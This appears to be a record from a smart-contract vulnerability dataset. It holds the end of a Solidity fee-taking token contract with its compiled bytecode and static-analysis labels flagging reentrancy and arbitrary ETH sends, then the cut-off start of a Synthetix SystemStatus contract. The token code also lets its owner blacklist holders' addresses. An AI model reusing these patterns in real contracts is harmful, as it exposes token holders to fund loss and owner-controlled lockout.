type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600981526020017f53686962612042616f0000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f53484942414ff09fa59f00000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a81905550600a600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a86708fcfb02ea5a4912300c6df67bdc510d3cbd39159fcd3ce652ffaf035c7964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
455
0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E
/** *Submitted for verification at Etherscan.io on 2021-02-04 */ /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: SystemStatus.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/SystemStatus.sol * Docs: https://docs.synthetix.io/contracts/SystemStatus * * Contract Dependencies: * - ISystemStatus * - Owned * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 